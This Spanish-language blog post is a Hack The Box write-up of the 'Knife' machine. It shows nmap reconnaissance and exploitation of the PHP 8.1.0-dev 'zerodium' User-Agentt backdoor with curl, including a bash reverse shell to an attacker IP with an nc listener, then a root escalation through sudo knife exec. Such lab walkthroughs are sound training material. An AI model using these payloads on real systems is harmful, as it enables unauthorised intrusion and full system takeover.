Inicio Knife - HTB Writeup
Entrada
Cancelar

Knife - HTB Writeup

Knife es una máquina de dificultad Easy en la plataforma Hack The Box.

En esta máquina, explotaremos una vulnerabilidad de la versión 8.1.8-dev de PHP mediante un RCE.

Reconocimiento

Realizaremos un escaneo con nmap para descubrir puertos abiertos en la máquina víctima:

1
nmap -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.242 -oG allPorts

img

Vemos que están abiertos el puerto 22 y el 80.

Vamos a realizar un escaneo de servicios y versiones sobre estos puertos:

1
nmap -sCV -p22,80 10.10.10.242 -oN versions

img

Podemos ver que por el puerto 22 corre un servicio SSH y por el 80 un HTTP.

Con curl haremos una petición en la web a ver que nos devuelve:

1
curl -i 10.10.10.242

img

Explotación

Como podemos ver en la cabecera del output que nos devuelve el curl, la web es lanzada por un servicio PHP/8.1.0-dev

Si buscamos información sobre esta versión de PHP, podemos ver que esta es vulnerable a un RCE (Remote Command Execution) utilizando la cabecera:

1
User-Agentt: zerodiumsystem(‘command’);

Podemos realizar una prueba para ver si el RCE da resultados:

Inyectamos código en la máquina victima mediante el User-Agent

1
2
3
curl -X GET "http://10.10.10.242/" -H "User-Agentt: zerodiumsystem('bash -c \"id\"');"

uid=1000(james) gid=1000(james) groups=1000(james)

Como podemos ver el RCE funciona, así que vamos a conseguir una reverse shell:

1
curl -X GET "http://10.10.10.242/" -H "User-Agentt: zerodiumsystem('bash -c \"bash -i >& /dev/tcp/10.10.14.8/443 0>&1\"');"

En otra consola nos pondremos en escucha con nc por el puerto que hayamos indicado:

1
nc -lvnp 443

Y ya tendriamos acceso a la máquina víctima:

img

Escalada de Privilegios

Para realizar la escalada ejecutaremos

1
sudo -l

para ver los binarios que podemos ejecutar como root, los cuales en este caso son los siguientes:

img

Si ejecutamos /usr/bin/knife podemos ver que hace:

1
2
3
james@knife:/$ /usr/bin/knife -h       

knife exec [SCRIPT] (options)

Usaremos esto para conseguir una consola como root, para ello ejecutaremos el siguiente comando:

1
2
3
james@knife:/$ sudo knife exec -E 'exec "/bin/sh"'

uid=0(root) gid=0(root) groups=0(root)

Y ya tendremos acceso como root a la máquina víctima.

Espero que os haya gustado y servido, cualquier comentario es de mucha ayuda. Adios!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.